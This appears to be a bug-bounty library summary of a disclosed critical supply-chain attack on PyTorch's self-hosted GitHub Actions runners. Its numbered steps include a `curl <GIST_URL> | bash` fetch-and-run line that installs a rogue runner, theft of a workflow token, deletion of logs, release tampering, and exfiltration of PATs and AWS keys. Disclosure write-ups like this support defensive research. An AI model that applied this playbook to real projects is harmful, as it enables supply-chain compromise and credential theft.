# Playing With Fire – How We Executed A Critical Supply Chain Attack On Pytorch

PyTorch's self-hosted GitHub runners ran fork-PR workflows without approval, letting a typo-fix contributor install a rogue runner and steal PATs/AWS keys to backdoor releases.

- Payout: $5,500
- Severity: critical
- Program: PyTorch, Meta / Facebook
- Credited: John Stawinski, Adnan Khan
- Disclosed: 2024-01-11
- Write-up quality: 9/10
- Original: https://johnstawinski.com/2024/01/11/playing-with-fire-how-we-executed-a-critical-supply-chain-attack-on-pytorch/
- Library page: https://bugbountylibrary.com/r/blog%3Ajohnstawinski-com-2024-01-11-playing-with-fire-how-we-executed-a-critical-supply-chain-attack-on-pytorch
- Tags: domain:infra impact:integrity impact:internal-access kind:bounty platform:blog sev:critical tech:aws tech:github-actions tech:s3 technique:recon vuln:misconfiguration vuln:secrets-leak

**Target:** GitHub Actions self-hosted runners and repository secrets
**Root cause:** PyTorch attached persistent self-hosted runners to a public repo and only required workflow approval for first-time contributors, so any prior contributor's fork PR executed arbitrary code on the runner.
**Steps:**
1. Enumerate self-hosted runners with Gato against pytorch/pytorch workflows and run logs (e.g. worker-rocm-amd-30).
2. Confirm fork-PR workflows from prior contributors run without approval by inspecting PR history.
3. Submit a trivial typo-fix PR to become a contributor.
4. Open a draft PR modifying a workflow to `run: curl <GIST_URL> | bash`, where the gist registers a new self-hosted runner to attacker's org (Runner-on-Runner C2).
5. Confirm RCE via C2 (`pwd && ls && ip a`, `sudo -l` shows root).
6. Wait for a privileged workflow (e.g. periodic.yml) to run on the runner, then read `.git/config` to steal the GITHUB_TOKEN.
7. Use token to DELETE run logs via `api.github.com/repos/pytorch/pytorch/runs/<run_id>`.
8. PATCH a release via `api.github.com/repos/pytorch/pytorch/releases/102257798` to prove release tampering.
9. Add payload to a script outside `.github/workflows` on a branch, then POST `actions/workflows/weekly.yml/dispatches` with `{"ref":"citesting1112"}` to run it under weekly.yml and exfiltrate GH_PYTORCHBOT_TOKEN/UPDATEBOT_TOKEN encrypted to logs.
10. Decrypt PATs, enumerate with Gato (93+ repos, admin), and repeat to steal aws-access-key-id/aws-pytorch-uploader-secret-access-key; confirm S3 write to pytorch bucket.
**How found:** Prior CI/CD research (GitHub runner image backdoor, $20k) led them to hunt other repos; used Gato to enumerate self-hosted runners, then checked PR history to see whether prior-contributor fork PRs ran workflows without approval.
**Exploitation:** Contributor fork PR executes attacker workflow on persistent self-hosted runner; installs rogue runner for C2; steals live GITHUB_TOKEN from .git/config, deletes logs, tampers releases, dispatches weekly.yml on attacker branch to exfiltrate PATs and AWS keys, enabling backdoored PyTorch releases on GitHub and S3.
**Escalation:** GITHUB_TOKEN actions:write used to trigger workflow_dispatch on a branch with injected script outside workflows dir, reaching secrets on GitHub-hosted runners; PATs spanned 93 repos with admin, AWS keys gave S3 write to release bucket feeding pytorch.org and pip.
**Insight:** Check whether a public repo's fork-PR workflows run without approval for prior contributors, and whether runners are persistent; a one-line typo PR is enough to become a contributor and land code on the runner.
